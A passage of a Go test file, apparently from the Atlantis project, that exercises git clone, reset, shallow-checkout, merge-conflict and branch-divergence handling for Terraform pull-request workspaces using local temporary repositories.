overrideURL,\n\t\tTestingOverrideBaseCloneURL: overrideURL,\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\n\t_, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\n\t// Create a file that we can use to check if the repo was recloned.\n\trunCmd(t, dataDir, \"touch\", \"repos/0/default/proof\")\n\n\t// Now run the clone again.\n\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\n\t// Check that our proof file is still there, proving that we didn't reclone.\n\t_, err = os.Stat(filepath.Join(cloneDir, \"proof\"))\n\tOk(t, err)\n}\n\n// Test that if there's a conflict when merging we return a good error.\nfunc TestClone_CheckoutMergeConflict(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\n\t// Add a commit to branch 'branch' that's not on main.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"branch\")\n\trunCmd(t, repoDir, \"sh\", \"-c\", \"echo hi >> file\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"file\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"branch-commit\")\n\n\t// Add a new commit to main that will cause a conflict if branch was\n\t// merged.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"main\")\n\trunCmd(t, repoDir, \"sh\", \"-c\", \"echo conflict >> file\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"file\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"commit\")\n\n\tlogger := logging.NewNoopLogger(t)\n\n\t// We're set up, now trigger the Atlantis clone.\n\tdataDir := t.TempDir()\n\toverrideURL := fmt.Sprintf(\"file://%s\", repoDir)\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               true,\n\t\tCheckoutDepth:               50,\n\t\tTestingOverrideHeadCloneURL: overrideURL,\n\t\tTestingOverrideBaseCloneURL: overrideURL,\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\n\t_, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\n\tErrContains(t, \"running git merge -q --no-ff -m atlantis-merge FETCH_HEAD\", err)\n\tErrContains(t, \"Auto-merging file\", err)\n\tErrContains(t, \"CONFLICT (add/add)\", err)\n\tErrContains(t, \"Merge conflict in file\", err)\n\tErrContains(t, \"Automatic merge failed; fix conflicts and then commit the result.\", err)\n\tErrContains(t, \"exit status 1\", err)\n}\n\nfunc TestClone_CheckoutMergeShallow(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\n\trunCmd(t, repoDir, \"git\", \"commit\", \"--allow-empty\", \"-m\", \"should not be cloned\")\n\toldCommit := strings.TrimSpace(runCmd(t, repoDir, \"git\", \"rev-parse\", \"HEAD\"))\n\n\trunCmd(t, repoDir, \"git\", \"commit\", \"--allow-empty\", \"-m\", \"merge-base\")\n\tbaseCommit := strings.TrimSpace(runCmd(t, repoDir, \"git\", \"rev-parse\", \"HEAD\"))\n\n\trunCmd(t, repoDir, \"git\", \"branch\", \"-f\", \"branch\", \"HEAD\")\n\n\t// Add a commit to branch 'branch' that's not on master.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"branch\")\n\trunCmd(t, repoDir, \"touch\", \"branch-file\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"branch-file\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"branch-commit\")\n\n\t// Now switch back to master and advance the master branch by another\n\t// commit.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"main\")\n\trunCmd(t, repoDir, \"touch\", \"main-file\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"main-file\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"main-commit\")\n\n\toverrideURL := fmt.Sprintf(\"file://%s\", repoDir)\n\n\t// Test that we don't check out full repo if using CheckoutMerge strategy\n\tt.Run(\"Shallow\", func(t *testing.T) {\n\t\tlogger := logging.NewNoopLogger(t)\n\n\t\tdataDir := t.TempDir()\n\n\t\twd := &events.FileWorkspace{\n\t\t\tDataDir:       dataDir,\n\t\t\tCheckoutMerge: true,\n\t\t\t// retrieve two commits in each branch:\n\t\t\t// master: master-commit, merge-base\n\t\t\t// branch: branch-commit, merge-base\n\t\t\tCheckoutDepth:               2,\n\t\t\tTestingOverrideHeadCloneURL: overrideURL,\n\t\t\tTestingOverrideBaseCloneURL: overrideURL,\n\t\t\tGpgNoSigningEnabled:         true,\n\t\t}\n\n\t\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\t\tBaseRepo:   models.Repo{},\n\t\t\tHeadBranch: \"branch\",\n\t\t\tBaseBranch: \"main\",\n\t\t}, \"default\")\n\t\tOk(t, err)\n\n\t\tgotBaseCommitType := runCmd(t, cloneDir, \"git\", \"cat-file\", \"-t\", baseCommit)\n\t\tAssert(t, gotBaseCommitType == \"commit\\n\", \"should have merge-base in shallow repo\")\n\t\tgotOldCommitType := runCmdErrCode(t, cloneDir, 128, \"git\", \"cat-file\", \"-t\", oldCommit)\n\t\tAssert(t, strings.Contains(gotOldCommitType, \"could not get object info\"), \"should not have old commit in shallow repo\")\n\t})\n\n\t// Test that we will check out full repo if CheckoutDepth is too small\n\tt.Run(\"FullClone\", func(t *testing.T) {\n\t\tlogger := logging.NewNoopLogger(t)\n\n\t\tdataDir := t.TempDir()\n\n\t\twd := &events.FileWorkspace{\n\t\t\tDataDir:       dataDir,\n\t\t\tCheckoutMerge: true,\n\t\t\t// 1 is not enough to retrieve merge-base, so full clone should be performed\n\t\t\tCheckoutDepth:               1,\n\t\t\tTestingOverrideHeadCloneURL: overrideURL,\n\t\t\tTestingOverrideBaseCloneURL: overrideURL,\n\t\t\tGpgNoSigningEnabled:         true,\n\t\t}\n\n\t\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\t\tBaseRepo:   models.Repo{},\n\t\t\tHeadBranch: \"branch\",\n\t\t\tBaseBranch: \"main\",\n\t\t}, \"default\")\n\t\tOk(t, err)\n\n\t\tgotBaseCommitType := runCmd(t, cloneDir, \"git\", \"cat-file\", \"-t\", baseCommit)\n\t\tAssert(t, gotBaseCommitType == \"commit\\n\", \"should have merge-base in full repo\")\n\t\tgotOldCommitType := runCmd(t, cloneDir, \"git\", \"cat-file\", \"-t\", oldCommit)\n\t\tAssert(t, gotOldCommitType == \"commit\\n\", \"should have old commit in full repo\")\n\t})\n\n}\n\n// Test that if the repo is already cloned and is at the right commit, we\n// don't reclone.\nfunc TestClone_NoReclone(t *testing.T) {\n\trepoDir := initRepo(t)\n\tdataDir := t.TempDir()\n\n\trunCmd(t, dataDir, \"mkdir\", \"-p\", \"repos/0/\")\n\trunCmd(t, dataDir, \"mv\", repoDir, \"repos/0/default\")\n\t// Create a file that we can use later to check if the repo was recloned.\n\trunCmd(t, dataDir, \"touch\", \"repos/0/default/proof\")\n\n\tlogger := logging.NewNoopLogger(t)\n\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               false,\n\t\tTestingOverrideHeadCloneURL: fmt.Sprintf(\"file://%s\", repoDir),\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t}, \"default\")\n\tOk(t, err)\n\n\t// Check that our proof file is still there.\n\t_, err = os.Stat(filepath.Join(cloneDir, \"proof\"))\n\tOk(t, err)\n}\n\n// Test that if the repo is already cloned but is at the wrong commit, we\n// fetch and reset\nfunc TestClone_ResetOnWrongCommit(t *testing.T) {\n\trepoDir := initRepo(t)\n\tdataDir := t.TempDir()\n\n\t// Copy the repo to our data dir.\n\trunCmd(t, dataDir, \"mkdir\", \"-p\", \"repos/0/\")\n\trunCmd(t, dataDir, \"git\", \"clone\", repoDir, \"repos/0/default\")\n\n\t// Now add a commit to the repo, so the one in the data dir is out of date.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"branch\")\n\trunCmd(t, repoDir, \"touch\", \"newfile\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"newfile\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"newfile\")\n\texpCommit := strings.TrimSpace(runCmd(t, repoDir, \"git\", \"rev-parse\", \"HEAD\"))\n\n\t// Pretend that terraform has created a plan file, we'll check for it later\n\tplanFile := filepath.Join(dataDir, \"repos/0/default/default.tfplan\")\n\tassert.NoFileExists(t, planFile)\n\t_, err := os.Create(planFile)\n\tAssert(t, err == nil, \"creating plan file: %v\", err)\n\tassert.FileExists(t, planFile)\n\n\tlogger := logging.NewNoopLogger(t)\n\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               false,\n\t\tTestingOverrideHeadCloneURL: fmt.Sprintf(\"file://%s\", repoDir),\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tHeadCommit: expCommit,\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\tassert.FileExists(t, planFile, \"Plan file should not been wiped out by reset\")\n\n\t// Use rev-parse to verify at correct commit.\n\tactCommit := strings.TrimSpace(runCmd(t, cloneDir, \"git\", \"rev-parse\", \"HEAD\"))\n\tEquals(t, expCommit, actCommit)\n}\n\n// Test that if the repo is already cloned but is at the wrong commit, but the base has changed\n// we need to reclone\nfunc TestClone_ReCloneOnBaseChange(t *testing.T) {\n\trepoDir := initRepo(t)\n\tdataDir := t.TempDir()\n\n\t// Copy the repo to our data dir.\n\trunCmd(t, dataDir, \"mkdir\", \"-p\", \"repos/0/\")\n\trunCmd(t, dataDir, \"git\", \"clone\", repoDir, \"repos/0/default\")\n\n\t// Now add a commit to the repo, so the one in the data dir is out of date.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"branch\")\n\trunCmd(t, repoDir, \"touch\", \"newfile\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"newfile\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"newfile\")\n\texpCommit := strings.TrimSpace(runCmd(t, repoDir, \"git\", \"rev-parse\", \"HEAD\"))\n\n\t// Pretend that terraform has created a plan file, we'll check for it later\n\tplanFile := filepath.Join(dataDir, \"repos/0/default/default.tfplan\")\n\tassert.NoFileExists(t, planFile)\n\t_, err := os.Create(planFile)\n\tAssert(t, err == nil, \"creating plan file: %v\", err)\n\tassert.FileExists(t, planFile)\n\n\tlogger := logging.NewNoopLogger(t)\n\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               false,\n\t\tTestingOverrideHeadCloneURL: fmt.Sprintf(\"file://%s\", repoDir),\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tHeadCommit: expCommit,\n\t\tBaseBranch: \"some-other-base-branch\",\n\t}, \"default\")\n\tOk(t, err)\n\tassert.NoFileExists(t, planFile, \"Plan file should been wiped out by the reclone\")\n\n\t// Use rev-parse to verify at correct commit.\n\tactCommit := strings.TrimSpace(runCmd(t, cloneDir, \"git\", \"rev-parse\", \"HEAD\"))\n\tEquals(t, expCommit, actCommit)\n}\n\n// Test that if the repo is already cloned but is at the wrong commit, but the base has changed\n// we need to reclone\nfunc TestClone_ReCloneOnErrorAttemptingReuse(t *testing.T) {\n\trepoDir := initRepo(t)\n\tdataDir := t.TempDir()\n\n\t// Copy the repo to our data dir.\n\trunCmd(t, dataDir, \"mkdir\", \"-p\", \"repos/0/\")\n\trunCmd(t, dataDir, \"git\", \"clone\", repoDir, \"repos/0/default\")\n\n\t// Now add a commit to the repo, so the one in the data dir is out of date.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"branch\")\n\trunCmd(t, repoDir, \"touch\", \"newfile\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"newfile\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"newfile\")\n\texpCommit := strings.TrimSpace(runCmd(t, repoDir, \"git\", \"rev-parse\", \"HEAD\"))\n\n\t// Now intentionally break the remote so it's unable to fetch\n\trunCmd(t, dataDir, \"rm\", \"repos/0/default/.git/HEAD\")\n\n\t// Pretend that terraform has created a plan file, we'll check for it later\n\tplanFile := filepath.Join(dataDir, \"repos/0/default/default.tfplan\")\n\tassert.NoFileExists(t, planFile)\n\t_, err := os.Create(planFile)\n\tAssert(t, err == nil, \"creating plan file: %v\", err)\n\tassert.FileExists(t, planFile)\n\n\tlogger := logging.NewNoopLogger(t)\n\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               false,\n\t\tTestingOverrideHeadCloneURL: fmt.Sprintf(\"file://%s\", repoDir),\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tHeadCommit: expCommit,\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\tassert.NoFileExists(t, planFile, \"Plan file should been wiped out by the reclone\")\n\n\t// Use rev-parse to verify at correct commit.\n\tactCommit := strings.TrimSpace(runCmd(t, cloneDir, \"git\", \"rev-parse\", \"HEAD\"))\n\tEquals(t, expCommit, actCommit)\n}\n\nfunc TestClone_ResetOnWrongCommitWithMergeStrategy(t *testing.T) {\n\trepoDir := initRepo(t)\n\tdataDir := t.TempDir()\n\n\t// In the repo, make sure there's a commit on the branch and main so we have something to merge\n\trunCmd(t, repoDir, \"touch\", \"newfile\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"newfile\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"newfile\")\n\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"branch\")\n\trunCmd(t, repoDir, \"touch\", \"branchfile\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"branchfile\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"branchfile\")\n\n\t// Copy the repo to our data dir.\n\tcheckoutDir := filepath.Join(dataDir, \"repos/1/default\")\n\n\t// \"clone\" the repoDir, instead of just copying it, because we're going to track it\n\trunCmd(t, dataDir, \"mkdir\", \"-p\", \"repos/1/\")\n\trunCmd(t, dataDir, \"git\", \"clone\", repoDir, checkoutDir)\n\trunCmd(t, checkoutDir, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, checkoutDir, \"git\", \"config\", \"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, checkoutDir, \"git\", \"config\", \"--local\", \"commit.gpgsign\", \"false\")\n\n\trunCmd(t, checkoutDir, \"git\", \"checkout\", \"main\")\n\trunCmd(t, checkoutDir, \"git\", \"remote\", \"add\", \"source\", repoDir)\n\n\t// Simulate the merge strategy\n\trunCmd(t, checkoutDir, \"git\", \"checkout\", \"branch\")\n\trunCmd(t, checkoutDir, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, checkoutDir, \"git\", \"config\", \"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, checkoutDir, \"git\", \"merge\", \"-q\", \"--no-ff\", \"-m\", \"atlantis-merge\", \"origin/main\")\n\n\t// Now add a commit to the repo, so the one in the data dir is out of date.\n\trunCmd(t, repoDir, \"touch\", \"anotherfile\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"anotherfile\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"anotherfile\")\n\texpCommit := strings.TrimSpace(runCmd(t, repoDir, \"git\", \"rev-parse\", \"HEAD\"))\n\n\t// Pretend that terraform has created a plan file, we'll check for it later\n\tplanFile := filepath.Join(dataDir, \"repos/1/default/default.tfplan\")\n\tassert.NoFileExists(t, planFile)\n\t_, err := os.Create(planFile)\n\tAssert(t, err == nil, \"creating plan file: %v\", err)\n\tassert.FileExists(t, planFile)\n\n\tlogger := logging.NewNoopLogger(t)\n\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               true,\n\t\tTestingOverrideHeadCloneURL: fmt.Sprintf(\"file://%s\", repoDir),\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\tfmt.Println(repoDir)\n\tcloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"branch\",\n\t\tHeadCommit: expCommit,\n\t\tBaseBranch: \"main\",\n\t\tNum:        1,\n\t}, \"default\")\n\tOk(t, err)\n\tassert.FileExists(t, planFile, \"Plan file should not been wiped out by reset\")\n\n\t// Use rev-parse to verify at correct commit.\n\tactCommit := strings.TrimSpace(runCmd(t, cloneDir, \"git\", \"rev-parse\", \"HEAD^2\"))\n\tEquals(t, expCommit, actCommit)\n}\n\n// Test that if the branch we're merging into has diverged and we're using\n// checkout-strategy=merge, we actually merge the branch.\n// Also check that we do not merge if we are not using the merge strategy.\nfunc TestClone_MasterHasDiverged(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\n\t// Simulate first PR.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"-b\", \"first-pr\")\n\trunCmd(t, repoDir, \"touch\", \"file1\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"file1\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"file1\")\n\n\t// Atlantis checkout first PR.\n\tfirstPRDir := repoDir + \"/first-pr\"\n\trunCmd(t, repoDir, \"mkdir\", \"-p\", \"first-pr\")\n\trunCmd(t, firstPRDir, \"git\", \"clone\", \"--branch\", \"main\", \"--single-branch\", repoDir, \".\")\n\trunCmd(t, firstPRDir, \"git\", \"remote\", \"add\", \"source\", repoDir)\n\trunCmd(t, firstPRDir, \"git\", \"fetch\", \"source\", \"+refs/heads/first-pr\")\n\trunCmd(t, firstPRDir, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, firstPRDir, \"git\", \"config\", \"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, firstPRDir, \"git\", \"config\", \"--local\", \"commit.gpgsign\", \"false\")\n\trunCmd(t, firstPRDir, \"git\", \"merge\", \"-q\", \"--no-ff\", \"-m\", \"atlantis-merge\", \"FETCH_HEAD\")\n\n\t// Simulate second PR.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"main\")\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"-b\", \"second-pr\")\n\trunCmd(t, repoDir, \"touch\", \"file2\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"file2\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"file2\")\n\n\t// Atlantis checkout second PR.\n\tsecondPRDir := repoDir + \"/second-pr\"\n\trunCmd(t, repoDir, \"mkdir\", \"-p\", \"second-pr\")\n\trunCmd(t, secondPRDir, \"git\", \"clone\", \"--branch\", \"main\", \"--single-branch\", repoDir, \".\")\n\trunCmd(t, secondPRDir, \"git\", \"remote\", \"add\", \"source\", repoDir)\n\trunCmd(t, secondPRDir, \"git\", \"fetch\", \"source\", \"+refs/heads/second-pr\")\n\trunCmd(t, secondPRDir, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, secondPRDir, \"git\", \"config\", \"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, secondPRDir, \"git\", \"config\", \"--local\", \"commit.gpgsign\", \"false\")\n\trunCmd(t, secondPRDir, \"git\", \"merge\", \"-q\", \"--no-ff\", \"-m\", \"atlantis-merge\", \"FETCH_HEAD\")\n\n\t// Merge first PR\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"main\")\n\trunCmd(t, repoDir, \"git\", \"merge\", \"first-pr\")\n\n\t// Copy the second-pr repo to our data dir which has diverged remote main\n\trunCmd(t, repoDir, \"mkdir\", \"-p\", \"repos/0/\")\n\trunCmd(t, repoDir, \"cp\", \"-R\", secondPRDir, \"repos/0/default\")\n\n\tlogger := logging.NewNoopLogger(t)\n\n\t// Run the clone.\n\twd := &events.FileWorkspace{\n\t\tDataDir:             repoDir,\n\t\tCheckoutMerge:       false,\n\t\tCheckoutDepth:       50,\n\t\tGpgNoSigningEnabled: true,\n\t}\n\n\t// Pretend terraform has created a plan file, we'll check for it later\n\tplanFile := filepath.Join(repoDir, \"repos/0/default/default.tfplan\")\n\tassert.NoFileExists(t, planFile)\n\t_, err := os.Create(planFile)\n\tAssert(t, err == nil, \"creating plan file: %v\", err)\n\tassert.FileExists(t, planFile)\n\n\t// Run MergeAgain without the checkout merge strategy. It should return\n\t// false for mergedAgain\n\t_, err = wd.Clone(logger, models.Repo{}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{},\n\t\tHeadBranch: \"second-pr\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\tmergedAgain, err := wd.MergeAgain(logger, models.Repo{CloneURL: repoDir}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{CloneURL: repoDir},\n\t\tHeadBranch: \"second-pr\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\tassert.FileExists(t, planFile, \"Existing plan file should not be deleted by merging again\")\n\tAssert(t, mergedAgain == false, \"MergeAgain with CheckoutMerge=false should not merge\")\n\n\twd.CheckoutMerge = true\n\t// Run the clone twice with the merge strategy, the first run should\n\t// return true for mergedAgain, subsequent runs should\n\t// return false since the first call is supposed to merge.\n\tmergedAgain, err = wd.MergeAgain(logger, models.Repo{CloneURL: repoDir}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{CloneURL: repoDir},\n\t\tHeadBranch: \"second-pr\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\tassert.FileExists(t, planFile, \"Existing plan file should not be deleted by merging again\")\n\tAssert(t, mergedAgain == true, \"First clone with CheckoutMerge=true with diverged base should have merged\")\n\n\tmergedAgain, err = wd.MergeAgain(logger, models.Repo{CloneURL: repoDir}, models.PullRequest{\n\t\tBaseRepo:   models.Repo{CloneURL: repoDir},\n\t\tHeadBranch: \"second-pr\",\n\t\tBaseBranch: \"main\",\n\t}, \"default\")\n\tOk(t, err)\n\tAssert(t, mergedAgain == false, \"Second clone with CheckoutMerge=true and initially diverged base should not merge again\")\n\tassert.FileExists(t, planFile, \"Existing plan file should not have been deleted\")\n}\n\nfunc TestHasDiverged_MasterHasDiverged(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\n\t// Simulate first PR.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"-b\", \"first-pr\")\n\trunCmd(t, repoDir, \"touch\", \"file1\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"file1\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"file1\")\n\n\t// Atlantis checkout first PR.\n\tfirstPRDir := repoDir + \"/first-pr\"\n\trunCmd(t, repoDir, \"mkdir\", \"-p\", \"first-pr\")\n\trunCmd(t, firstPRDir, \"git\", \"clone\", \"--branch\", \"main\", \"--single-branch\", repoDir, \".\")\n\trunCmd(t, firstPRDir, \"git\", \"remote\", \"add\", \"source\", repoDir)\n\trunCmd(t, firstPRDir, \"git\", \"fetch\", \"source\", \"+refs/heads/first-pr\")\n\trunCmd(t, firstPRDir, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, firstPRDir, \"git\", \"config\", \"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, firstPRDir, \"git\", \"config\", \"--local\", \"commit.gpgsign\", \"false\")\n\trunCmd(t, firstPRDir, \"git\", \"merge\", \"-q\", \"--no-ff\", \"-m\", \"atlantis-merge\", \"FETCH_HEAD\")\n\n\t// Simulate second PR.\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"main\")\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"-b\", \"second-pr\")\n\trunCmd(t, repoDir, \"touch\", \"file2\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"file2\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"file2\")\n\n\t// Atlantis checkout second PR.\n\tsecondPRDir := repoDir + \"/second-pr\"\n\trunCmd(t, repoDir, \"mkdir\", \"-p\", \"second-pr\")\n\trunCmd(t, secondPRDir, \"git\", \"clone\", \"--branch\", \"main\", \"--single-branch\", repoDir, \".\")\n\trunCmd(t, secondPRDir, \"git\", \"remote\", \"add\", \"source\", repoDir)\n\trunCmd(t, secondPRDir, \"git\", \"fetch\", \"source\", \"+refs/heads/second-pr\")\n\trunCmd(t, secondPRDir, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, secondPRDir, \"git\", \"config\", \"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, secondPRDir, \"git\", \"config\", \"--local\", \"commit.gpgsign\", \"false\")\n\trunCmd(t, secondPRDir, \"git\", \"merge\", \"-q\", \"--no-ff\", \"-m\", \"atlantis-merge\", \"FETCH_HEAD\")\n\n\t// Merge first PR\n\trunCmd(t, repoDir, \"git\", \"checkout\", \"main\")\n\trunCmd(t, repoDir, \"git\", \"merge\", \"first-pr\")\n\n\t// Copy the second-pr repo to our data dir which has diverged remote main\n\trunCmd(t, repoDir, \"mkdir\", \"-p\", \"repos/0/\")\n\trunCmd(t, repoDir, \"cp\", \"-R\", secondPRDir, \"repos/0/default\")\n\n\t// \"git\", \"remote\", \"set-url\", \"origin\", p.BaseRepo.CloneURL,\n\trunCmd(t, repoDir+\"/repos/0/default\", \"git\", \"remote\", \"update\")\n\n\tlogger := logging.NewNoopLogger(t)\n\n\t// Run the clone.\n\twd := &events.FileWorkspace{\n\t\tDataDir:             repoDir,\n\t\tCheckoutMerge:       true,\n\t\tCheckoutDepth:       50,\n\t\tGpgNoSigningEnabled: true,\n\t}\n\thasDiverged := wd.HasDiverged(logger, repoDir+\"/repos/0/default\")\n\tEquals(t, hasDiverged, true)\n\n\t// Run it again but without the checkout merge strategy. It should return\n\t// false.\n\twd.CheckoutMerge = false\n\thasDiverged = wd.HasDiverged(logger, repoDir+\"/repos/0/default\")\n\tEquals(t, hasDiverged, false)\n}\n\nfunc TestHasDiverged_ConcurrentCalls(t *testing.T) {\n\tremoteRepo := initRepo(t)\n\n\tdataDir := t.TempDir()\n\tclonedRepo := filepath.Join(dataDir, \"repos/0/default\")\n\n\trunCmd(t, dataDir, \"mkdir\", \"-p\", \"repos/0/\")\n\trunCmd(t, dataDir, \"git\", \"clone\", remoteRepo, clonedRepo)\n\n\twd := &events.FileWorkspace{\n\t\tDataDir:                     dataDir,\n\t\tCheckoutMerge:               true,\n\t\tTestingOverrideHeadCloneURL: fmt.Sprintf(\"file://%s\", remoteRepo),\n\t\tGpgNoSigningEnabled:         true,\n\t}\n\n\tloops := 100\n\thasDivergedPerLoop := 2\n\tvar wg sync.WaitGroup\n\twg.Add(loops * hasDivergedPerLoop)\n\n\tvar sawWarn atomic.Bool\n\n\tcheckHasDiverged := func() {\n\t\tdefer wg.Done()\n\t\t// Each goroutine gets its own logger to avoid data races on the\n\t\t// shared bytes.Buffer backing logger history.\n\t\tlogger := logging.NewNoopLogger(t).WithHistory()\n\t\twd.HasDiverged(logger, clonedRepo)\n\t\tif strings.Contains(logger.GetHistory(), \"[WARN]\") {\n\t\t\tsawWarn.Store(true)\n\t\t}\n\t}\n\n\trunCmd(t, clonedRepo, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, clonedRepo, \"git\", \"config\", \"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, clonedRepo, \"git\", \"config\", \"--local\", \"commit.gpgsign\", \"false\")\n\trunCmd(t, clonedRepo, \"touch\", \"local-file\")\n\trunCmd(t, clonedRepo, \"git\", \"add\", \"local-file\")\n\trunCmd(t, clonedRepo, \"git\", \"commit\", \"-m\", \"Adding local file\")\n\n\tfor i := range loops {\n\t\tgo checkHasDiverged()\n\t\tgo checkHasDiverged()\n\t\tremoteFile := fmt.Sprintf(\"remote-file-%d.txt\", i)\n\t\trunCmd(t, remoteRepo, \"touch\", remoteFile)\n\t\trunCmd(t, remoteRepo, \"git\", \"add\", remoteFile)\n\t\trunCmd(t, remoteRepo, \"git\", \"commit\", \"-m\", \"Adding remote file\")\n\t}\n\n\twg.Wait()\n\tAssert(t, !sawWarn.Load(), \"warning occurred while checking HasDiverged\")\n}\n\nfunc initRepo(t *testing.T) string {\n\trepoDir := t.TempDir()\n\trunCmd(t, repoDir, \"git\", \"init\", \"--initial-branch=main\")\n\trunCmd(t, repoDir, \"touch\", \".gitkeep\")\n\trunCmd(t, repoDir, \"git\", \"add\", \".gitkeep\")\n\trunCmd(t, repoDir, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, repoDir, \"git\", \"config\", 